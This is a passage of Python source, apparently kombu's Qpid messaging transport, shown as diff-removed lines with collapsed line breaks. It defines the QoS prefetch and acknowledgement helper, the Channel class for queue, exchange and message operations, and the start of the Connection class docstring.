certificate. Ensure that the - broker string contains the corresponding username. For example, if the - client certificate has *CN=asdf* and the client connects to *example.com* - on port 5671, the broker string should be: - - **qpid://asdf@example.com:5671/** - -Transport Options -================= - -The :attr:`~kombu.Connection.transport_options` argument to the -:class:`~kombu.Connection` object are passed directly to the -:class:`qpid.messaging.endpoints.Connection` as keyword arguments. These -options override and replace any other default or specified values. If using -Celery, this can be accomplished by setting the -*BROKER_TRANSPORT_OPTIONS* Celery option. -""" - -from __future__ import annotations - -import os -import select -import socket -import ssl -import sys -import uuid -from gettext import gettext as _ -from queue import Empty -from time import monotonic - -import amqp.protocol - -try: - import fcntl -except ImportError: - fcntl = None - -try: - import qpidtoollibs -except ImportError: # pragma: no cover - qpidtoollibs = None - -try: - from qpid.messaging.exceptions import ConnectionError - from qpid.messaging.exceptions import Empty as QpidEmpty - from qpid.messaging.exceptions import NotFound, SessionClosed -except ImportError: # pragma: no cover - ConnectionError = None - NotFound = None - QpidEmpty = None - SessionClosed = None - -try: - import qpid -except ImportError: # pragma: no cover - qpid = None - -from kombu.log import get_logger -from kombu.transport import base, virtual -from kombu.transport.virtual import Base64, Message - -logger = get_logger(__name__) - -try: - buffer -except NameError: - buffer = bytes - -OBJECT_ALREADY_EXISTS_STRING = 'object already exists' - -VERSION = (1, 0, 0) -__version__ = '.'.join(map(str, VERSION)) - - -def dependency_is_none(dependency): - """Return True if the dependency is None, otherwise False. - - This is done using a function so that tests can mock this - behavior easily. - - :param dependency: The module to check if it is None - :return: True if dependency is None otherwise False. - - """ - return dependency is None - - -class AuthenticationFailure(Exception): - """Cannot authenticate with Qpid.""" - - -class QoS: - """A helper object for message prefetch and ACKing purposes. - - :keyword prefetch_count: Initial prefetch count, hard set to 1. - :type prefetch_count: int - - - NOTE: prefetch_count is currently hard set to 1, and needs to be improved - - This object is instantiated 1-for-1 with a - :class:`~.kombu.transport.qpid.Channel` instance. QoS allows - ``prefetch_count`` to be set to the number of outstanding messages - the corresponding :class:`~kombu.transport.qpid.Channel` should be - allowed to prefetch. Setting ``prefetch_count`` to 0 disables - prefetch limits, and the object can hold an arbitrary number of messages. - - Messages are added using :meth:`append`, which are held until they are - ACKed asynchronously through a call to :meth:`ack`. Messages that are - received, but not ACKed will not be delivered by the broker to another - consumer until an ACK is received, or the session is closed. Messages - are referred to using delivery_tag, which are unique per - :class:`Channel`. Delivery tags are managed outside of this object and - are passed in with a message to :meth:`append`. Un-ACKed messages can - be looked up from QoS using :meth:`get` and can be rejected and - forgotten using :meth:`reject`. - - """ - - def __init__(self, session, prefetch_count=1): - self.session = session - self.prefetch_count = 1 - self._not_yet_acked = {} - - def can_consume(self): - """Return True if the :class:`Channel` can consume more messages. - - Used to ensure the client adheres to currently active prefetch - limits. - - :returns: True, if this QoS object can accept more messages - without violating the prefetch_count. If prefetch_count is 0, - can_consume will always return True. - :rtype: bool - - """ - return ( - not self.prefetch_count or - len(self._not_yet_acked) < self.prefetch_count - ) - - def can_consume_max_estimate(self): - """Return the remaining message capacity. - - Returns an estimated number of outstanding messages that a - :class:`kombu.transport.qpid.Channel` can accept without - exceeding ``prefetch_count``. If ``prefetch_count`` is 0, then - this method returns 1. - - :returns: The number of estimated messages that can be fetched - without violating the prefetch_count. - :rtype: int - - """ - return 1 if not self.prefetch_count else ( - self.prefetch_count - len(self._not_yet_acked) - ) - - def append(self, message, delivery_tag): - """Append message to the list of un-ACKed messages. - - Add a message, referenced by the delivery_tag, for ACKing, - rejecting, or getting later. Messages are saved into a - dict by delivery_tag. - - :param message: A received message that has not yet been ACKed. - :type message: qpid.messaging.Message - :param delivery_tag: A UUID to refer to this message by - upon receipt. - :type delivery_tag: uuid.UUID - - """ - self._not_yet_acked[delivery_tag] = message - - def get(self, delivery_tag): - """Get an un-ACKed message by delivery_tag. - - If called with an invalid delivery_tag a :exc:`KeyError` is raised. - - :param delivery_tag: The delivery tag associated with the message - to be returned. - :type delivery_tag: uuid.UUID - - :return: An un-ACKed message that is looked up by delivery_tag. - :rtype: qpid.messaging.Message - - """ - return self._not_yet_acked[delivery_tag] - - def ack(self, delivery_tag): - """Acknowledge a message by delivery_tag. - - Called asynchronously once the message has been handled and can be - forgotten by the broker. - - :param delivery_tag: the delivery tag associated with the message - to be acknowledged. - :type delivery_tag: uuid.UUID - - """ - message = self._not_yet_acked.pop(delivery_tag) - self.session.acknowledge(message=message) - - def reject(self, delivery_tag, requeue=False): - """Reject a message by delivery_tag. - - Explicitly notify the broker that the channel associated - with this QoS object is rejecting the message that was previously - delivered. - - If requeue is False, then the message is not requeued for delivery - to another consumer. If requeue is True, then the message is - requeued for delivery to another consumer. - - :param delivery_tag: The delivery tag associated with the message - to be rejected. - :type delivery_tag: uuid.UUID - :keyword requeue: If True, the broker will be notified to requeue - the message. If False, the broker will be told to drop the - message entirely. In both cases, the message will be removed - from this object. - :type requeue: bool - - """ - message = self._not_yet_acked.pop(delivery_tag) - QpidDisposition = qpid.messaging.Disposition - if requeue: - disposition = QpidDisposition(qpid.messaging.RELEASED) - else: - disposition = QpidDisposition(qpid.messaging.REJECTED) - self.session.acknowledge(message=message, disposition=disposition) - - -class Channel(base.StdChannel): - """Supports broker configuration and messaging send and receive. - - :param connection: A Connection object that this Channel can - reference. Currently only used to access callbacks. - :type connection: kombu.transport.qpid.Connection - :param transport: The Transport this Channel is associated with. - :type transport: kombu.transport.qpid.Transport - - A channel object is designed to have method-parity with a Channel as - defined in AMQP 0-10 and earlier, which allows for the following broker - actions: - - - exchange declare and delete - - queue declare and delete - - queue bind and unbind operations - - queue length and purge operations - - sending/receiving/rejecting messages - - structuring, encoding, and decoding messages - - supports synchronous and asynchronous reads - - reading state about the exchange, queues, and bindings - - Channels are designed to all share a single TCP connection with a - broker, but provide a level of isolated communication with the broker - while benefiting from a shared TCP connection. The Channel is given - its :class:`~kombu.transport.qpid.Connection` object by the - :class:`~kombu.transport.qpid.Transport` that - instantiates the channel. - - This channel inherits from :class:`~kombu.transport.base.StdChannel`, - which makes this a 'native' channel versus a 'virtual' channel which - would inherit from :class:`kombu.transports.virtual`. - - Messages sent using this channel are assigned a delivery_tag. The - delivery_tag is generated for a message as they are prepared for - sending by :meth:`basic_publish`. The delivery_tag is unique per - channel instance. The delivery_tag has no meaningful context in other - objects, and is only maintained in the memory of this object, and the - underlying :class:`QoS` object that provides support. - - Each channel object instantiates exactly one :class:`QoS` object for - prefetch limiting, and asynchronous ACKing. The :class:`QoS` object is - lazily instantiated through a property method :meth:`qos`. The - :class:`QoS` object is a supporting object that should not be accessed - directly except by the channel itself. - - Synchronous reads on a queue are done using a call to :meth:`basic_get` - which uses :meth:`_get` to perform the reading. These methods read - immediately and do not accept any form of timeout. :meth:`basic_get` - reads synchronously and ACKs messages before returning them. ACKing is - done in all cases, because an application that reads messages using - qpid.messaging, but does not ACK them will experience a memory leak. - The no_ack argument to :meth:`basic_get` does not affect ACKing - functionality. - - Asynchronous reads on a queue are done by starting a consumer using - :meth:`basic_consume`. Each call to :meth:`basic_consume` will cause a - :class:`~qpid.messaging.endpoints.Receiver` to be created on the - :class:`~qpid.messaging.endpoints.Session` started by the :class: - `Transport`. The receiver will asynchronously read using - qpid.messaging, and prefetch messages before the call to - :meth:`Transport.basic_drain` occurs. The prefetch_count value of the - :class:`QoS` object is the capacity value of the new receiver. The new - receiver capacity must always be at least 1, otherwise none of the - receivers will appear to be ready for reading, and will never be read - from. - - Each call to :meth:`basic_consume` creates a consumer, which is given a - consumer tag that is identified by the caller of :meth:`basic_consume`. - Already started consumers can be cancelled using by their consumer_tag - using :meth:`basic_cancel`. Cancellation of a consumer causes the - :class:`~qpid.messaging.endpoints.Receiver` object to be closed. - - Asynchronous message ACKing is supported through :meth:`basic_ack`, - and is referenced by delivery_tag. The Channel object uses its - :class:`QoS` object to perform the message ACKing. - - """ - - #: A class reference that will be instantiated using the qos property. - QoS = QoS - - #: A class reference that identifies - # :class:`~kombu.transport.virtual.Message` as the message class type - Message = Message - - #: Default body encoding. - #: NOTE: ``transport_options['body_encoding']`` will override this value. - body_encoding = 'base64' - - #: Binary <-> ASCII codecs. - codecs = {'base64': Base64()} - - def __init__(self, connection, transport): - self.connection = connection - self.transport = transport - qpid_connection = connection.get_qpid_connection() - self._broker = qpidtoollibs.BrokerAgent(qpid_connection) - self.closed = False - self._tag_to_queue = {} - self._receivers = {} - self._qos = None - - def _get(self, queue): - """Non-blocking, single-message read from a queue. - - An internal method to perform a non-blocking, single-message read - from a queue by name. This method creates a - :class:`~qpid.messaging.endpoints.Receiver` to read from the queue - using the :class:`~qpid.messaging.endpoints.Session` saved on the - associated :class:`~kombu.transport.qpid.Transport`. The receiver - is closed before the method exits. If a message is available, a - :class:`qpid.messaging.Message` object is returned. If no message is - available, a :class:`qpid.messaging.exceptions.Empty` exception is - raised. - - This is an internal method. External calls for get functionality - should be done using :meth:`basic_get`. - - :param queue: The queue name to get the message from - :type queue: str - - :return: The received message. - :rtype: :class:`qpid.messaging.Message` - :raises: :class:`qpid.messaging.exceptions.Empty` if no - message is available. - - """ - rx = self.transport.session.receiver(queue) - try: - message = rx.fetch(timeout=0) - finally: - rx.close() - return message - - def _put(self, routing_key, message, exchange=None, durable=True, - **kwargs): - """Synchronously send a single message onto a queue or exchange. - - An internal method which synchronously sends a single message onto - a given queue or exchange. If exchange is not specified, - the message is sent directly to a queue specified by routing_key. - If no queue is found by the name of routing_key while exchange is - not specified an exception is raised. If an exchange is specified, - then the message is delivered onto the requested - exchange using routing_key. Message sending is synchronous using - sync=True because large messages in kombu funtests were not being - fully sent before the receiver closed. - - This method creates a :class:`qpid.messaging.endpoints.Sender` to - send the message to the queue using the - :class:`qpid.messaging.endpoints.Session` created and referenced by - the associated :class:`~kombu.transport.qpid.Transport`. The sender - is closed before the method exits. - - External calls for put functionality should be done using - :meth:`basic_publish`. - - :param routing_key: If exchange is None, treated as the queue name - to send the message to. If exchange is not None, treated as the - routing_key to use as the message is submitted onto the exchange. - :type routing_key: str - :param message: The message to be sent as prepared by - :meth:`basic_publish`. - :type message: dict - :keyword exchange: keyword parameter of the exchange this message - should be sent on. If no exchange is specified, the message is - sent directly to a queue specified by routing_key. - :type exchange: str - :keyword durable: whether or not the message should persist or be - durable. - :type durable: bool - - """ - if not exchange: - address = f'{routing_key}; ' \ - '{{assert: always, node: {{type: queue}}}}' - msg_subject = None - else: - address = f'{exchange}/{routing_key}; '\ - '{{assert: always, node: {{type: topic}}}}' - msg_subject = str(routing_key) - sender = self.transport.session.sender(address) - qpid_message = qpid.messaging.Message(content=message, - durable=durable, - subject=msg_subject) - try: - sender.send(qpid_message, sync=True) - finally: - sender.close() - - def _purge(self, queue): - """Purge all undelivered messages from a queue specified by name. - - An internal method to purge all undelivered messages from a queue - specified by name. If the queue does not exist a - :class:`qpid.messaging.exceptions.NotFound` exception is raised. - - The queue message depth is first checked, and then the broker is - asked to purge that number of messages. The integer number of - messages requested to be purged is returned. The actual number of - messages purged may be different than the requested number of - messages to purge (see below). - - Sometimes delivered messages are asked to be purged, but are not. - This case fails silently, which is the correct behavior when a - message that has been delivered to a different consumer, who has - not ACKed the message, and still has an active session with the - broker. Messages in that case are not safe for purging and will be - retained by the broker. The client is unable to change this - delivery behavior. - - This is an internal method. External calls for purge functionality - should be done using :meth:`queue_purge`. - - :param queue: the name of the queue to be purged - :type queue: str - - :return: The number of messages requested to be purged. - :rtype: int - - :raises: :class:`qpid.messaging.exceptions.NotFound` if the queue - being purged cannot be found. - - """ - queue_to_purge = self._broker.getQueue(queue) - if queue_to_purge is None: - error_text = f"NOT_FOUND - no queue '{queue}'" - raise NotFound(code=404, text=error_text) - message_count = queue_to_purge.values['msgDepth'] - if message_count > 0: - queue_to_purge.purge(message_count) - return message_count - - def _size(self, queue): - """Get the number of messages in a queue specified by name. - - An internal method to return the number of messages in a queue - specified by name. It returns an integer count of the number - of messages currently in the queue. - - :param queue: The name of the queue to be inspected for the number - of messages - :type queue: str - - :return the number of messages in the queue specified by name. - :rtype: int - - """ - queue_to_check = self._broker.getQueue(queue) - message_depth = queue_to_check.values['msgDepth'] - return message_depth - - def _delete(self, queue, *args, **kwargs): - """Delete a queue and all messages on that queue. - - An internal method to delete a queue specified by name and all the - messages on it. First, all messages are purged from a queue using a - call to :meth:`_purge`. Second, the broker is asked to delete the - queue. - - This is an internal method. External calls for queue delete - functionality should be done using :meth:`queue_delete`. - - :param queue: The name of the queue to be deleted. - :type queue: str - - """ - self._purge(queue) - self._broker.delQueue(queue) - - def _has_queue(self, queue, **kwargs): - """Determine if the broker has a queue specified by name. - - :param queue: The queue name to check if the queue exists. - :type queue: str - - :return: True if a queue exists on the broker, and false - otherwise. - :rtype: bool - - """ - if self._broker.getQueue(queue): - return True - else: - return False - - def queue_declare(self, queue, passive=False, durable=False, - exclusive=False, auto_delete=True, nowait=False, - arguments=None): - """Create a new queue specified by name. - - If the queue already exists, no change is made to the queue, - and the return value returns information about the existing queue. - - The queue name is required and specified as the first argument. - - If passive is True, the server will not create the queue. The - client can use this to check whether a queue exists without - modifying the server state. Default is False. - - If durable is True, the queue will be durable. Durable queues - remain active when a server restarts. Non-durable queues ( - transient queues) are purged if/when a server restarts. Note that - durable queues do not necessarily hold persistent messages, - although it does not make sense to send persistent messages to a - transient queue. Default is False. - - If exclusive is True, the queue will be exclusive. Exclusive queues - may only be consumed by the current connection. Setting the - 'exclusive' flag always implies 'auto-delete'. Default is False. - - If auto_delete is True, the queue is deleted when all consumers - have finished using it. The last consumer can be cancelled either - explicitly or because its channel is closed. If there was no - consumer ever on the queue, it won't be deleted. Default is True. - - The nowait parameter is unused. It was part of the 0-9-1 protocol, - but this AMQP client implements 0-10 which removed the nowait option. - - The arguments parameter is a set of arguments for the declaration of - the queue. Arguments are passed as a dict or None. This field is - ignored if passive is True. Default is None. - - This method returns a :class:`~collections.namedtuple` with the name - 'queue_declare_ok_t' and the queue name as 'queue', message count - on the queue as 'message_count', and the number of active consumers - as 'consumer_count'. The named tuple values are ordered as queue, - message_count, and consumer_count respectively. - - Due to Celery's non-ACKing of events, a ring policy is set on any - queue that starts with the string 'celeryev' or ends with the string - 'pidbox'. These are celery event queues, and Celery does not ack - them, causing the messages to build-up. Eventually Qpid stops serving - messages unless the 'ring' policy is set, at which point the buffer - backing the queue becomes circular. - - :param queue: The name of the queue to be created. - :type queue: str - :param passive: If True, the sever will not create the queue. - :type passive: bool - :param durable: If True, the queue will be durable. - :type durable: bool - :param exclusive: If True, the queue will be exclusive. - :type exclusive: bool - :param auto_delete: If True, the queue is deleted when all - consumers have finished using it. - :type auto_delete: bool - :param nowait: This parameter is unused since the 0-10 - specification does not include it. - :type nowait: bool - :param arguments: A set of arguments for the declaration of the - queue. - :type arguments: dict or None - - :return: A named tuple representing the declared queue as a named - tuple. The tuple values are ordered as queue, message count, - and the active consumer count. - :rtype: :class:`~collections.namedtuple` - - """ - options = {'passive': passive, - 'durable': durable, - 'exclusive': exclusive, - 'auto-delete': auto_delete, - 'arguments': arguments} - if queue.startswith('celeryev') or queue.endswith('pidbox'): - options['qpid.policy_type'] = 'ring' - try: - self._broker.addQueue(queue, options=options) - except Exception as exc: - if OBJECT_ALREADY_EXISTS_STRING not in str(exc): - raise exc - queue_to_check = self._broker.getQueue(queue) - message_count = queue_to_check.values['msgDepth'] - consumer_count = queue_to_check.values['consumerCount'] - return amqp.protocol.queue_declare_ok_t(queue, message_count, - consumer_count) - - def queue_delete(self, queue, if_unused=False, if_empty=False, **kwargs): - """Delete a queue by name. - - Delete a queue specified by name. Using the if_unused keyword - argument, the delete can only occur if there are 0 consumers bound - to it. Using the if_empty keyword argument, the delete can only - occur if there are 0 messages in the queue. - - :param queue: The name of the queue to be deleted. - :type queue: str - :keyword if_unused: If True, delete only if the queue has 0 - consumers. If False, delete a queue even with consumers bound - to it. - :type if_unused: bool - :keyword if_empty: If True, only delete the queue if it is empty. If - False, delete the queue if it is empty or not. - :type if_empty: bool - - """ - if self._has_queue(queue): - if if_empty and self._size(queue): - return - queue_obj = self._broker.getQueue(queue) - consumer_count = queue_obj.getAttributes()['consumerCount'] - if if_unused and consumer_count > 0: - return - self._delete(queue) - - def exchange_declare(self, exchange='', type='direct', durable=False, - **kwargs): - """Create a new exchange. - - Create an exchange of a specific type, and optionally have the - exchange be durable. If an exchange of the requested name already - exists, no action is taken and no exceptions are raised. Durable - exchanges will survive a broker restart, non-durable exchanges will - not. - - Exchanges provide behaviors based on their type. The expected - behaviors are those defined in the AMQP 0-10 and prior - specifications including 'direct', 'topic', and 'fanout' - functionality. - - :keyword type: The exchange type. Valid values include 'direct', - 'topic', and 'fanout'. - :type type: str - :keyword exchange: The name of the exchange to be created. If no - exchange is specified, then a blank string will be used as the - name. - :type exchange: str - :keyword durable: True if the exchange should be durable, or False - otherwise. - :type durable: bool - - """ - options = {'durable': durable} - try: - self._broker.addExchange(type, exchange, options) - except Exception as exc: - if OBJECT_ALREADY_EXISTS_STRING not in str(exc): - raise exc - - def exchange_delete(self, exchange_name, **kwargs): - """Delete an exchange specified by name. - - :param exchange_name: The name of the exchange to be deleted. - :type exchange_name: str - - """ - self._broker.delExchange(exchange_name) - - def queue_bind(self, queue, exchange, routing_key, **kwargs): - """Bind a queue to an exchange with a bind key. - - Bind a queue specified by name, to an exchange specified by name, - with a specific bind key. The queue and exchange must already - exist on the broker for the bind to complete successfully. Queues - may be bound to exchanges multiple times with different keys. - - :param queue: The name of the queue to be bound. - :type queue: str - :param exchange: The name of the exchange that the queue should be - bound to. - :type exchange: str - :param routing_key: The bind key that the specified queue should - bind to the specified exchange with. - :type routing_key: str - - """ - self._broker.bind(exchange, queue, routing_key) - - def queue_unbind(self, queue, exchange, routing_key, **kwargs): - """Unbind a queue from an exchange with a given bind key. - - Unbind a queue specified by name, from an exchange specified by - name, that is already bound with a bind key. The queue and - exchange must already exist on the broker, and bound with the bind - key for the operation to complete successfully. Queues may be - bound to exchanges multiple times with different keys, thus the - bind key is a required field to unbind in an explicit way. - - :param queue: The name of the queue to be unbound. - :type queue: str - :param exchange: The name of the exchange that the queue should be - unbound from. - :type exchange: str - :param routing_key: The existing bind key between the specified - queue and a specified exchange that should be unbound. - :type routing_key: str - - """ - self._broker.unbind(exchange, queue, routing_key) - - def queue_purge(self, queue, **kwargs): - """Remove all undelivered messages from queue. - - Purge all undelivered messages from a queue specified by name. If the - queue does not exist an exception is raised. The queue message - depth is first checked, and then the broker is asked to purge that - number of messages. The integer number of messages requested to be - purged is returned. The actual number of messages purged may be - different than the requested number of messages to purge. - - Sometimes delivered messages are asked to be purged, but are not. - This case fails silently, which is the correct behavior when a - message that has been delivered to a different consumer, who has - not ACKed the message, and still has an active session with the - broker. Messages in that case are not safe for purging and will be - retained by the broker. The client is unable to change this - delivery behavior. - - Internally, this method relies on :meth:`_purge`. - - :param queue: The name of the queue which should have all messages - removed. - :type queue: str - - :return: The number of messages requested to be purged. - :rtype: int - - :raises: :class:`qpid.messaging.exceptions.NotFound` if the queue - being purged cannot be found. - - """ - return self._purge(queue) - - def basic_get(self, queue, no_ack=False, **kwargs): - """Non-blocking single message get and ACK from a queue by name. - - Internally this method uses :meth:`_get` to fetch the message. If - an :class:`~qpid.messaging.exceptions.Empty` exception is raised by - :meth:`_get`, this method silences it and returns None. If - :meth:`_get` does return a message, that message is ACKed. The no_ack - parameter has no effect on ACKing behavior, and all messages are - ACKed in all cases. This method never adds fetched Messages to the - internal QoS object for asynchronous ACKing. - - This method converts the object type of the method as it passes - through. Fetching from the broker, :meth:`_get` returns a - :class:`qpid.messaging.Message`, but this method takes the payload - of the :class:`qpid.messaging.Message` and instantiates a - :class:`~kombu.transport.virtual.Message` object with the payload - based on the class setting of self.Message. - - :param queue: The queue name to fetch a message from. - :type queue: str - :keyword no_ack: The no_ack parameter has no effect on the ACK - behavior of this method. Un-ACKed messages create a memory leak in - qpid.messaging, and need to be ACKed in all cases. - :type noack: bool - - :return: The received message. - :rtype: :class:`~kombu.transport.virtual.Message` - - """ - try: - qpid_message = self._get(queue) - raw_message = qpid_message.content - message = self.Message(raw_message, channel=self) - self.transport.session.acknowledge(message=qpid_message) - return message - except Empty: - pass - - def basic_ack(self, delivery_tag, multiple=False): - """Acknowledge a message by delivery_tag. - - Acknowledges a message referenced by delivery_tag. Messages can - only be ACKed using :meth:`basic_ack` if they were acquired using - :meth:`basic_consume`. This is the ACKing portion of the - asynchronous read behavior. - - Internally, this method uses the :class:`QoS` object, which stores - messages and is responsible for the ACKing. - - :param delivery_tag: The delivery tag associated with the message - to be acknowledged. - :type delivery_tag: uuid.UUID - :param multiple: not implemented. If set to True an AssertionError - is raised. - :type multiple: bool - - """ - assert multiple is False - self.qos.ack(delivery_tag) - - def basic_reject(self, delivery_tag, requeue=False): - """Reject a message by delivery_tag. - - Rejects a message that has been received by the Channel, but not - yet acknowledged. Messages are referenced by their delivery_tag. - - If requeue is False, the rejected message will be dropped by the - broker and not delivered to any other consumers. If requeue is - True, then the rejected message will be requeued for delivery to - another consumer, potentially to the same consumer who rejected the - message previously. - - :param delivery_tag: The delivery tag associated with the message - to be rejected. - :type delivery_tag: uuid.UUID - :keyword requeue: If False, the rejected message will be dropped by - the broker and not delivered to any other consumers. If True, - then the rejected message will be requeued for delivery to - another consumer, potentially to the same consumer who rejected - the message previously. - :type requeue: bool - - """ - self.qos.reject(delivery_tag, requeue=requeue) - - def basic_consume(self, queue, no_ack, callback, consumer_tag, **kwargs): - """Start an asynchronous consumer that reads from a queue. - - This method starts a consumer of type - :class:`~qpid.messaging.endpoints.Receiver` using the - :class:`~qpid.messaging.endpoints.Session` created and referenced by - the :class:`Transport` that reads messages from a queue - specified by name until stopped by a call to :meth:`basic_cancel`. - - - Messages are available later through a synchronous call to - :meth:`Transport.drain_events`, which will drain from the consumer - started by this method. :meth:`Transport.drain_events` is - synchronous, but the receiving of messages over the network occurs - asynchronously, so it should still perform well. - :meth:`Transport.drain_events` calls the callback provided here with - the Message of type self.Message. - - Each consumer is referenced by a consumer_tag, which is provided by - the caller of this method. - - This method sets up the callback onto the self.connection object in a - dict keyed by queue name. :meth:`~Transport.drain_events` is - responsible for calling that callback upon message receipt. - - All messages that are received are added to the QoS object to be - saved for asynchronous ACKing later after the message has been - handled by the caller of :meth:`~Transport.drain_events`. Messages - can be ACKed after being received through a call to :meth:`basic_ack`. - - If no_ack is True, The no_ack flag indicates that the receiver of - the message will not call :meth:`basic_ack` later. Since the - message will not be ACKed later, it is ACKed immediately. - - :meth:`basic_consume` transforms the message object type prior to - calling the callback. Initially the message comes in as a - :class:`qpid.messaging.Message`. This method unpacks the payload - of the :class:`qpid.messaging.Message` and creates a new object of - type self.Message. - - This method wraps the user delivered callback in a runtime-built - function which provides the type transformation from - :class:`qpid.messaging.Message` to - :class:`~kombu.transport.virtual.Message`, and adds the message to - the associated :class:`QoS` object for asynchronous ACKing - if necessary. - - :param queue: The name of the queue to consume messages from - :type queue: str - :param no_ack: If True, then messages will not be saved for ACKing - later, but will be ACKed immediately. If False, then messages - will be saved for ACKing later with a call to :meth:`basic_ack`. - :type no_ack: bool - :param callback: a callable that will be called when messages - arrive on the queue. - :type callback: a callable object - :param consumer_tag: a tag to reference the created consumer by. - This consumer_tag is needed to cancel the consumer. - :type consumer_tag: an immutable object - - """ - self._tag_to_queue[consumer_tag] = queue - - def _callback(qpid_message): - raw_message = qpid_message.content - message = self.Message(raw_message, channel=self) - delivery_tag = message.delivery_tag - self.qos.append(qpid_message, delivery_tag) - if no_ack: - # Celery will not ack this message later, so we should ack now - self.basic_ack(delivery_tag) - return callback(message) - - self.connection._callbacks[queue] = _callback - new_receiver = self.transport.session.receiver(queue) - new_receiver.capacity = self.qos.prefetch_count - self._receivers[consumer_tag] = new_receiver - - def basic_cancel(self, consumer_tag): - """Cancel consumer by consumer tag. - - Request the consumer stops reading messages from its queue. The - consumer is a :class:`~qpid.messaging.endpoints.Receiver`, and it is - closed using :meth:`~qpid.messaging.endpoints.Receiver.close`. - - This method also cleans up all lingering references of the consumer. - - :param consumer_tag: The tag which refers to the consumer to be - cancelled. Originally specified when the consumer was created - as a parameter to :meth:`basic_consume`. - :type consumer_tag: an immutable object - - """ - if consumer_tag in self._receivers: - receiver = self._receivers.pop(consumer_tag) - receiver.close() - queue = self._tag_to_queue.pop(consumer_tag, None) - self.connection._callbacks.pop(queue, None) - - def close(self): - """Cancel all associated messages and close the Channel. - - This cancels all consumers by calling :meth:`basic_cancel` for each - known consumer_tag. It also closes the self._broker sessions. Closing - the sessions implicitly causes all outstanding, un-ACKed messages to - be considered undelivered by the broker. - - """ - if not self.closed: - self.closed = True - for consumer_tag in self._receivers.keys(): - self.basic_cancel(consumer_tag) - if self.connection is not None: - self.connection.close_channel(self) - self._broker.close() - - @property - def qos(self): - """:class:`QoS` manager for this channel. - - Lazily instantiates an object of type :class:`QoS` upon access to - the self.qos attribute. - - :return: An already existing, or newly created QoS object - :rtype: :class:`QoS` - - """ - if self._qos is None: - self._qos = self.QoS(self.transport.session) - return self._qos - - def basic_qos(self, prefetch_count, *args): - """Change :class:`QoS` settings for this Channel. - - Set the number of un-acknowledged messages this Channel can fetch and - hold. The prefetch_value is also used as the capacity for any new - :class:`~qpid.messaging.endpoints.Receiver` objects. - - Currently, this value is hard coded to 1. - - :param prefetch_count: Not used. This method is hard-coded to 1. - :type prefetch_count: int - - """ - self.qos.prefetch_count = 1 - - def prepare_message(self, body, priority=None, content_type=None, - content_encoding=None, headers=None, properties=None): - """Prepare message data for sending. - - This message is typically called by - :meth:`kombu.messaging.Producer._publish` as a preparation step in - message publication. - - :param body: The body of the message - :type body: str - :keyword priority: A number between 0 and 9 that sets the priority of - the message. - :type priority: int - :keyword content_type: The content_type the message body should be - treated as. If this is unset, the - :class:`qpid.messaging.endpoints.Sender` object tries to - autodetect the content_type from the body. - :type content_type: str - :keyword content_encoding: The content_encoding the message body is - encoded as. - :type content_encoding: str - :keyword headers: Additional Message headers that should be set. - Passed in as a key-value pair. - :type headers: dict - :keyword properties: Message properties to be set on the message. - :type properties: dict - - :return: Returns a dict object that encapsulates message - attributes. See parameters for more details on attributes that - can be set. - :rtype: dict - - """ - properties = properties or {} - info = properties.setdefault('delivery_info', {}) - info['priority'] = priority or 0 - - return {'body': body, - 'content-encoding': content_encoding, - 'content-type': content_type, - 'headers': headers or {}, - 'properties': properties or {}} - - def basic_publish(self, message, exchange, routing_key, **kwargs): - """Publish message onto an exchange using a routing key. - - Publish a message onto an exchange specified by name using a - routing key specified by routing_key. Prepares the message in the - following ways before sending: - - - encodes the body using :meth:`encode_body` - - wraps the body as a buffer object, so that - :class:`qpid.messaging.endpoints.Sender` uses a content type - that can support arbitrarily large messages. - - sets delivery_tag to a random uuid.UUID - - sets the exchange and routing_key info as delivery_info - - Internally uses :meth:`_put` to send the message synchronously. This - message is typically called by - :class:`kombu.messaging.Producer._publish` as the final step in - message publication. - - :param message: A dict containing key value pairs with the message - data. A valid message dict can be generated using the - :meth:`prepare_message` method. - :type message: dict - :param exchange: The name of the exchange to submit this message - onto. - :type exchange: str - :param routing_key: The routing key to be used as the message is - submitted onto the exchange. - :type routing_key: str - - """ - message['body'], body_encoding = self.encode_body( - message['body'], self.body_encoding, - ) - props = message['properties'] - props.update( - body_encoding=body_encoding, - delivery_tag=uuid.uuid4(), - ) - props['delivery_info'].update( - exchange=exchange, - routing_key=routing_key, - ) - self._put(routing_key, message, exchange, **kwargs) - - def encode_body(self, body, encoding=None): - """Encode a body using an optionally specified encoding. - - The encoding can be specified by name, and is looked up in - self.codecs. self.codecs uses strings as its keys which specify - the name of the encoding, and then the value is an instantiated - object that can provide encoding/decoding of that type through - encode and decode methods. - - :param body: The body to be encoded. - :type body: str - :keyword encoding: The encoding type to be used. Must be a supported - codec listed in self.codecs. - :type encoding: str - - :return: If encoding is specified, return a tuple with the first - position being the encoded body, and the second position the - encoding used. If encoding is not specified, the body is passed - through unchanged. - :rtype: tuple - - """ - if encoding: - return self.codecs.get(encoding).encode(body), encoding - return body, encoding - - def decode_body(self, body, encoding=None): - """Decode a body using an optionally specified encoding. - - The encoding can be specified by name, and is looked up in - self.codecs. self.codecs uses strings as its keys which specify - the name of the encoding, and then the value is an instantiated - object that can provide encoding/decoding of that type through - encode and decode methods. - - :param body: The body to be encoded. - :type body: str - :keyword encoding: The encoding type to be used. Must be a supported - codec listed in self.codecs. - :type encoding: str - - :return: If encoding is specified, the decoded body is returned. - If encoding is not specified, the body is returned unchanged. - :rtype: str - - """ - if encoding: - return self.codecs.get(encoding).decode(body) - return body - - def typeof(self, exchange, default='direct'): - """Get the exchange type. - - Lookup and return the exchange type for an exchange specified by - name. Exchange types are expected to be 'direct', 'topic', - and 'fanout', which correspond with exchange functionality as - specified in AMQP 0-10 and earlier. If the exchange cannot be - found, the default exchange type is returned. - - :param exchange: The exchange to have its type lookup up. - :type exchange: str - :keyword default: The type of exchange to assume if the exchange does - not exist. - :type default: str - - :return: The exchange type either 'direct', 'topic', or 'fanout'. - :rtype: str - - """ - qpid_exchange = self._broker.getExchange(exchange) - if qpid_exchange: - qpid_exchange_attributes = qpid_exchange.getAttributes() - return qpid_exchange_attributes['type'] - else: - return default - - -class Connection: - """Qpid Connection. - - Encapsulate a connection object for the - :class:`~kombu.transport.qpid.Transport`. - - :param host: The host that connections should connect to. - :param port: The port that connection should connect to. - :param username: The username that connections should connect with. - Optional. - :param password: The password that connections should connect with. - Optional but requires a username. - :param transport: The transport type that connections should use. - Either 'tcp', or 'ssl' are expected as values. - :param timeout: the timeout used when a Connection connects - to the broker. - :param sasl_mechanisms: The sasl authentication mechanism type to use. - refer to SASL documentation for an explanation of valid - values. - - .. note:: - - qpid.messaging has an AuthenticationFailure 